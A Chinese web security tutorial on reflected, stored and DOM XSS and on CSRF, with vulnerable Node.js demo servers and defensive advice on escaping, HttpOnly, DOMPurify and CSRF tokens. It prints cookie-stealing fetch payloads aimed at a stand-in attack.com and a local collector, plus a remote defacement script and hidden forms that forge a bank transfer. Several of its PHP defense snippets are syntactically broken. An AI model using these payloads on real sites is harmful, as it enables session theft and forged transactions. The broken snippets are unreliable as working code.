XSS和CSRF

XSS

XSS 的全称叫跨站脚本攻击（Cross Site Scripting），攻击出现的原因一般是因为 Web 程序对用户的输入过滤不足导致的一种漏洞，攻击者可以把恶意的脚本代码注入到网页之中，当其他用户浏览时就会执行其中的恶意代码，对受害者产生各种攻击。XSS 一般分为三种类型：

反射型
存储型
DOM 型

反射型 XSS 攻防实战

反射型 XSS 攻击的恶意脚本并没有被存储到后端数据库中，而是诱导用户点击某个精心拼接的恶意链接，从而达到攻击的目的。

攻击案例

一个常见的场景是用户在某电影网站搜索，假如请求地址是：

https://xxx.com/movies?q=功夫熊猫在后台返回的结果页中，会显示用户搜索的电影名：

「功夫熊猫」的搜索结果为： xxxxxxxxxxxxxxxxxxxxxxx

攻击者拼接了一个极度恶意的链接：

https://xxx.com/movies?q=功夫熊猫<script>fetch(`https://attack.com?cookie=${document.cookie}`)</script>

如果用户点击了这个恶意链接，cookie 立马被盗。下面给出 Node.js 后端服务完整源码：

const http = require("http");
const URL = require("url");

// HTML 模板
function renderHTML(tpl) {
  return `<!DOCTYPE html><html><head><meta charset="UTF-8"/></head><body>${tpl}</body></html>`;
}

// 路由分发器
const routes = {
  "GET /movies": (req, res) => {
    // 被攻击网站的电影搜索接口
    const tpl = req.query.q
      ? `<h3>「${req.query.q}」的搜索结果为：</h3>${Array(30).fill("x")}`
      : `请输入搜索的电影`;
    res.setHeader("Set-Cookie", ["name=keliq", "age=10"]);
    res.end(renderHTML(tpl));
  },
  "GET /cookies": (req, res) => {
    // 攻击者后台收集cookie的接口
    console.log(req.query);
    res.end();
  },
};

function onRequest(req, res) {
  const { url, method } = req;
  const { query, pathname } = URL.parse(url, true); // 解析 url
  Object.assign(req, { query, path: pathname }); // 并把 query 和 pathname 参数扩展到 req 对象
  const route = routes[[method, pathname].join(" ")]; // 获取路由处理函数（策略模式）
  if (route) return route(req, res);
  res.statusCode = 404;
  res.end("Not Found");
}

http.createServer(onRequest).listen(3000); // 被攻击的网站
http.createServer(onRequest).listen(4000); // 攻击者收集cookie的服务器

运行上面的代码，然后打开访问下面的恶意链接：

http://localhost:3000/movies?q=功夫熊猫<script>fetch(`http://localhost:4000/cookies?cookie=${document.cookie}`)</script>

可以看到，用户的 Cookie 被发送到了攻击者的服务器。

防御方案

造成反射型 XSS 攻击的原因就是服务端没过滤，所以解决方案也很简单，就是在服务器对用户输入进行过滤，过滤方案一般有很多，例如直接用 encodeURIComponent 对查询参数进行过滤：

const tpl = req.query.q
  ? `<h3>「${encodeURIComponent(req.query.q)}」的搜索结果为：</h3>${Array(
      30
    ).fill("x")}`
  : `请输入搜索的电影`;

还有一种方式是写一个函数替换掉那些 <、& 等特殊字符：

function encodeHTML(str) {
  return str
    .replace(/&/g, "&amp;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&apos;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;");
}

另外，如果后端登录验证是基于 Cookie 的话，一定要设置其属性为 HttpOnly，这样攻击者无法利用 JS 脚本获取到 Cookie 了。

存储型 XSS 攻防实战

与反射型不同，存储型 XSS 攻击是指当用户的输入包含了恶意脚本，服务端转义就存储到数据库，访问页面会触发恶意脚本执行，而导致的攻击。

攻击案例

假如在某网站上有一篇爆款文章：

https://xxx.com/articles/1

攻击者在文章下面发表了一篇评论，内容中包含了 script 脚本：

文章写的真棒！<script>fetch(`http://localhost:4000/cookies?cookie=${document.cookie}`)</script>

如果服务端直接把评论字符串保存到数据库了，下次只要有用户访问该文章时，包含恶意脚本的评论内容被返回，把当前用户的 cookie 发送到攻击者的服务器！下面是完整的 Node.js 服务端源码：

const http = require("http");
const URL = require("url");
const qs = require("querystring");

// 模拟文章数据库
const article = {
  id: 1,
  title: "体育新闻",
  content:
    "火箭在对阵雷霆首轮系列赛的第5场比赛中以114-80战胜对手，但在这场比赛中更受关注的还是丹尼斯-施罗德和PJ塔克之间的冲突导致两人都被驱逐，当然，在这场比赛之后火箭已经手握3-2的领先优势。",
  comments: ["评论1", "评论2"],
};

// HTML 模板
function renderHTML(tpl) {
  return `<!DOCTYPE html><html><head><meta charset="UTF-8"/></head><body>${tpl}</body></html>`;
}

// 路由分发器
const routes = {
  "GET /articles/1": (req, res) => {
    const tpl = `
    <div style="width: 500px;margin: auto;">
      <h1>${article.title}</h1>
      <p>${article.content}</p>
      <h3>评论区</h3>
      <ul>${article.comments
        .map((item) => "<li>" + item + "</li>")
        .join("")}</ul>
      <hr/>
      <p>请发表您的评论：</p>
      <form action="/comments" method="post">
        <textarea lines="3" maxlength="1000" name="comment" ></textarea>
        <button type="submit">提交</button>
      </form>
    </div>
    `;
    res.setHeader("Set-Cookie", ["name=keliq", "age=10"]);
    res.end(renderHTML(tpl));
  },
  "POST /comments": async (req, res) => {
    let body = await getBody(req);
    let { comment = "" } = qs.parse(body);
    comment = comment.trim();
    if (comment) {
      // 为防止内存溢出，只保留最新10条评论
      article.comments = [comment, ...article.comments.slice(0, 9)];
    }
    res.writeHead(301, { Location: "/articles/1" });
    res.end();
  },
  "GET /cookies": (req, res) => {
    console.log(req.query);
    res.end();
  },
  "GET /malicious.js": (req, res) => {
    const script = `document.body.innerHTML = '美女荷棺在线發牌<img width=200 src="http://img.zlib.cn/beauty/1.jpg" />'`;
    res.end(script);
  },
};

// 获取 req.body
function getBody(req) {
  return new Promise((resolve, reject) => {
    const arr = [];
    req
      .on("data", (data) => arr.push(data))
      .on("end", () =>
        resolve(decodeURIComponent(Buffer.concat(arr).toString()))
      )
      .on("error", reject);
  });
}

function onRequest(req, res) {
  const { url, method } = req;
  const { query, pathname } = URL.parse(url, true); // 解析 url
  Object.assign(req, { query, path: pathname }); // 并把 query 和 pathname 参数扩展到 req 对象
  const route = routes[[method, pathname].join(" ")]; // 获取路由处理函数（策略模式）
  if (route) return route(req, res);
  res.statusCode = 404;
  res.end("Not Found");
}

http.createServer(onRequest).listen(3000); // 被攻击的网站
http.createServer(onRequest).listen(4000); // 攻击者收集cookie的服务器

运行上面的代码，然后打开网站 http://localhost:3000/articles/1，发表一则评论：

文章写的真棒！<script>fetch(`http://localhost:4000/cookies?cookie=${document.cookie}`)</script>

可以看到，用户的 Cookie 马上被发送到了攻击者的服务器。其实这种获取 Cookie 的方式还算小打小闹了，只要能够利用 xss 注入 script，黑客真的是可以「为所欲为」，例如黑客通过操作 DOM 的方式，分分钟把你的网站变成赌博网站、色情网站…，不信的话你输入下面的评论试试（内含福利）：

文章写的真棒！<script src="http://localhost:4000/malicious.js"></script>

在这个恶意脚本 malicious.js 里面，直接改掉了 body，想想看，所有访问你的网站的用户，看到的其实是另外一番景象，太吓人了。

防御方案

可以看到，存储型 XSS 也是因为恶意代码未经转义直接被插入到响应的 HTML 里的，然后被浏览器执行导致攻击，所以解决方案也是对用户输入进行过滤，过滤方案与上面讲的反射型一致，可以根据需要选择过滤时机，例如：

客户端提交前进行校验过滤，如果包含恶意脚本则不提交，或者提交转义后的字符串
服务端接收后先校验过滤，如果包含恶意脚本则不存储到数据库，或者存储转义后的字符串
客户端渲染时候进行过滤，即使数据库中存储了未经转义的恶意脚本，输出转义后的字符串

DOM 型 XSS 攻防实战

DOM 型 XSS 与反射型或存储型 XSS 的区别在于，DOM 型在服务器返回的网页或脚本中是看不到恶意代码的，而是在更新 DOM 树的时候触发了恶意脚本的执行。

攻击案例

我们来看一则模拟案例，前端开发人员未经过滤就直接把用户输入插入到 HTML 中：

<input id="input" type="text" />
<button onclick="container.innerHTML = input.value">点击</button>
<p id="container"></p>

试想一下，如果此时用户输入了下面一段恶意脚本的话会发生什么？

<script>
  fetch(`https://attack.com?cookie=${document.cookie}`);
</script>

值得庆幸的是，大部分现代浏览器都实现了 HTML5 的安全规范：

不执行由 innerHTML 插入的 script 标签。

但是这就足够安全了吗？非也，请看下面的输入：

<img
  src="x"
  onerror="fetch(`http://localhost:4000/cookies?cookie=${document.cookie}`)"
/>

恶意脚本依然在 onerror 回调中被触发了！

防御方案

这里推荐使用 DOMPurify 库对用户的输入进行过滤，然后再使用 innerHTML 插入到 DOM 中。

总结

反射型 XSS 攻击的手段就是诱导用户点击，这种攻击是一次性的，用户点击就中招，不点就没事，危害性不如存储型的大，但是小白用户很容易被盗号。

存储型 XSS 攻击范围广，受害面积大，且不容易及时发现和排查，一定要多加小心，对于用户输入的任何内容都不要完全信任，对于动态渲染的文本一定要进行转义。

DOM 型 XSS 攻击随着单页面应用普及和流行愈发常见，因为在单页面应用中 JS 经常操作 DOM，而 DOM 型 XSS 攻击就是利用了浏览器解析机制，因此很容易触发 DOM 型 XSS 攻击。不过好在大部分前端框架，例如 Vue、Angular 都内置 DOM 型 XSS 攻击的防御机制。

CSRF 攻击

CSRF（Cross-site request forgery），中文名称：跨站请求伪造，也被称为：one click attack/session riding，缩写为：CSRF/XSRF。

你这可以这么理解 CSRF 攻击：攻击者盗用了你的身份，以你的名义发送恶意请求。CSRF 能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账……造成的问题包括：个人隐私泄露以及财产安全。

下图简单阐述了 CSRF 攻击的思想：

从上图可以看出，要完成一次 CSRF 攻击，受害者必须依次完成两个步骤：

登录受信任网站 A，并在本地生成 Cookie。
在不登出 A 的情况下，访问危险网站 B。

看到这里，你也许会说：“如果我不满足以上两个条件中的一个，我就不会受到 CSRF 的攻击”。是的，确实如此，但你不能保证以下情况不会发生：

你不能保证你登录了一个网站后，不再打开一个 tab 页面并访问另外的网站。
你不能保证你关闭浏览器了后，你本地的 Cookie 立刻过期，你上次的会话已经结束。（事实上，关闭浏览器不能结束一个会话，但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了……）
上图中所谓的攻击网站，可能是一个存在其他漏洞的可信任的经常被人访问的网站。

上面大概地讲了一下 CSRF 攻击的思想，下面我将用几个例子详细说说具体的 CSRF 攻击，这里我以一个银行转账的操作作为例子（仅仅是例子，真实的银行网站没这么傻

示例 1：

银行网站 A，它以 GET 请求来完成银行转账的操作，如：http://www.mybank.com/Transfer.php?toBankId=11&money=1000

危险网站 B，它里面有一段 HTML 的代码如下：

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

首先，你登录了银行网站 A，然后访问危险网站 B，噢，这时你会发现你的银行账户少了 1000 块……

为什么会这样呢？原因是银行网站 A 违反了 HTTP 规范，使用 GET 请求更新资源。在访问危险网站 B 的之前，你已经登录了银行网站 A，而 B 中的以 GET 的方式请求第三方资源（这里的第三方就是指银行网站了，原本这是一个合法的请求，但这里被不法分子利用了），所以你的浏览器会带上你的银行网站 A 的 Cookie 发出 Get 请求，去获取资源“http://www.mybank.com/Transfer.php?toBankId=11&money=1000”，结果银行网站服务器收到请求后，认为这是一个更新资源操作（转账操作），所以就立刻进行转账操作……

示例 2：

为了杜绝上面的问题，银行决定改用 POST 请求完成转账操作。

银行网站 A 的 WEB 表单如下：

<form action="Transfer.php" method="POST">
  <p>ToBankId: <input type="text" name="toBankId" /></p>
  <p>Money: <input type="text" name="money" /></p>
  <p><input type="submit" value="Transfer" /></p>
</form>

后台处理页面 Transfer.php 如下：

<?php
	session_start();
	if (isset($_REQUEST['toBankId'] &&　isset($_REQUEST['money']))
	{
		buy_stocks($_REQUEST['toBankId'],　$_REQUEST['money']);
	}
?>

危险网站 B，仍然只是包含那句 HTML 代码：

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

和示例 1 中的操作一样，你首先登录了银行网站 A，然后访问危险网站 B，结果…..和示例 1 一样，你再次没了 1000 块～ T_T，这次事故的原因是：银行后台使用了$_REQUEST去获取请求的数据，而$_REQUEST 既可以获取 GET 请求的数据，也可以获取 POST 请求的数据，这就造成了在后台处理程序无法区分这到底是 GET 请求的数据还是 POST 请求的数据。在 PHP 中，可以使用$_GET和$_POST 分别获取 GET 请求和 POST 请求的数据。在 JAVA 中，用于获取请求数据 request 一样存在不能区分 GET 请求数据和 POST 数据的问题。

示例 3：

经过前面 2 个惨痛的教训，银行决定把获取请求数据的方法也改了，改用$_POST，只获取 POST 请求的数据，后台处理页面 Transfer.php 代码如下：

<?php
	session_start();
	if (isset($_POST['toBankId'] &&　isset($_POST['money']))
	{
		buy_stocks($_POST['toBankId'],　$_POST['money']);
	}
?>

然而，危险网站 B 与时俱进，它改了一下代码：

<html>
  　　<head>
    　　　　
    <script type="text/javascript">
      function steal() {
        iframe = document.frames["steal"];
        iframe.document.Submit("transfer");
      }
    </script>
    　　
  </head>

  　　
  <body onload="steal()">
    　　　　<iframe name="steal" display="none">
      　　　　　　
      <form
        method="POST"
        name="transfer"
        　action="http://www.myBank.com/Transfer.php"
      >
        　　　　　　　　<input type="hidden" name="toBankId" value="11" />
        　　　　　　　　<input type="hidden" name="money" value="1000" />
        　　　　　　
      </form>
      　　　　</iframe
    >
    　　
  </body>
</html>

如果用户仍是继续上面的操作，很不幸，结果将会是再次不见 1000 块……因为这里危险网站 B 暗地里发送了 POST 请求到银行!

总结一下上面 3 个例子，CSRF 主要的攻击模式基本上是以上的 3 种，其中以第 1,2 种最为严重，因为触发条件很简单，一个就可以了，而第 3 种比较麻烦，需要使用 JavaScript，所以使用的机会会比前面的少很多，但无论是哪种情况，只要触发了 CSRF 攻击，后果都有可能很严重。

理解上面的 3 种攻击模式，其实可以看出，CSRF 攻击是源于 WEB 的隐式身份验证机制！WEB 的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器，但却无法保证该请求是用户批准发送的！

CSRF 的防御

1.服务端进行 CSRF 防御

服务端的 CSRF 方式方法很多样，但总的思想都是一致的，就是在客户端页面增加伪随机数。

(1).Cookie Hashing(所有表单都包含同一个伪随机值)：

这可能是最简单的解决方案了，因为攻击者不能获得第三方的 Cookie(理论上)，所以表单中的数据也就构造失败了

<?php
	//构造加密的Cookie信息
	$value = “DefenseSCRF”;
	setcookie(”cookie”, $value, time()+3600);
?>

在表单里增加 Hash 值，以认证这确实是用户发送的请求。

<?php
	$hash = md5($_COOKIE['cookie']);
?>
<form method="”POST”" action="”transfer.php”">
  <input type="”text”" name="”toBankId”" />
  <input type="”text”" name="”money”" />
  <input type="”hidden”" name="”hash”" value="”<?" ="$hash;?" />”>
  <input type="”submit”" name="”submit”" value="”Submit”" />
</form>

然后在服务器端进行 Hash 值验证

<?php
	if(isset($_POST['check'])) {
		$hash = md5($_COOKIE['cookie']);
		if($_POST['check'] == $hash) {
			doJob();
		} else {
			//...
		}
	} else {
		//...
	}
?>

这个方法个人觉得已经可以杜绝 99%的 CSRF 攻击了，那还有 1%呢….由于用户的 Cookie 很容易由于网站的 XSS 漏洞而被盗取，这就另外的 1%。一般的攻击者看到有需要算 Hash 值，基本都会放弃了，某些除外，所以如果需要 100%的杜绝，这个不是最好的方法。

(2).验证码

这个方案的思路是：每次的用户提交都需要用户在表单中填写一个图片上的随机字符串，厄….这个方案可以完全解决 CSRF，但个人觉得在易用性方面似乎不是太好，还有听闻是验证码图片的使用涉及了一个被称为 MHTML 的 Bug，可能在某些版本的微软 IE 中受影响。

(3).One-Time Tokens(不同的表单包含一个不同的伪随机值)

在实现 One-Time Tokens 时，需要注意一点：就是“并行会话的兼容”。如果用户在一个站点上同时打开了两个不同的表单，CSRF 保护措施不应该影响到他对任何表单的提交。考虑一下如果每次表单被装入时站点生成一个伪随机值来覆盖以前的伪随机值将会发生什么情况：用户只能成功地提交他最后打开的表单，因为所有其他的表单都含有非法的伪随机值。必须小心操作以确保 CSRF 保护措施不会影响选项卡式的浏览或者利用多个浏览器窗口浏览一个站点。

以下我的实现:

1).先是令牌生成函数(gen_token())：

···html <?php function gen_token() { 　　　　//这里我是贪方便，实际上单使用 Rand()得出的随机数作为令牌，也是不安全的。　　　　//这个可以参考我写的 Findbugs 笔记中的《Random object created and used only once》 $token = md5(uniqid(rand(), true)); return $token; }

2).然后是Session令牌生成函数(gen_stoken())：

```html
     <?php
     　　function gen_stoken() {
　　　　　　$pToken = "";
　　　　　　if($_SESSION[STOKEN_NAME]  == $pToken){
　　　　　　　　//没有值，赋新值
　　　　　　　　$_SESSION[STOKEN_NAME] = gen_token();
　　　　　　}
　　　　　　else{
　　　　　　　　//继续使用旧的值
　　　　　　}
     　　}
     ?>

3).WEB 表单生成隐藏输入域的函数：

<?php
　　     function gen_input() {
     　　     gen_stoken();
　　          echo “<input type=\”hidden\” name=\”" . FTOKEN_NAME . “\”
          　　     value=\”" . $_SESSION[STOKEN_NAME] . “\”>
“; 　　} ?>

4).WEB 表单结构：

<?php
          session_start();
          include(”functions.php”);
     ?>
<form method="”POST”" action="”transfer.php”">
  <input type="”text”" name="”toBankId”" />
  <input type="”text”" name="”money”" />
  <? gen_input(); ?>
  <input type="”submit”" name="”submit”" value="”Submit”" />
</form>

5).服务端核对令牌：

这个很简单，这里就不再啰嗦了。

上面这个其实不完全符合“并行会话的兼容”的规则，大家可以在此基础上修改。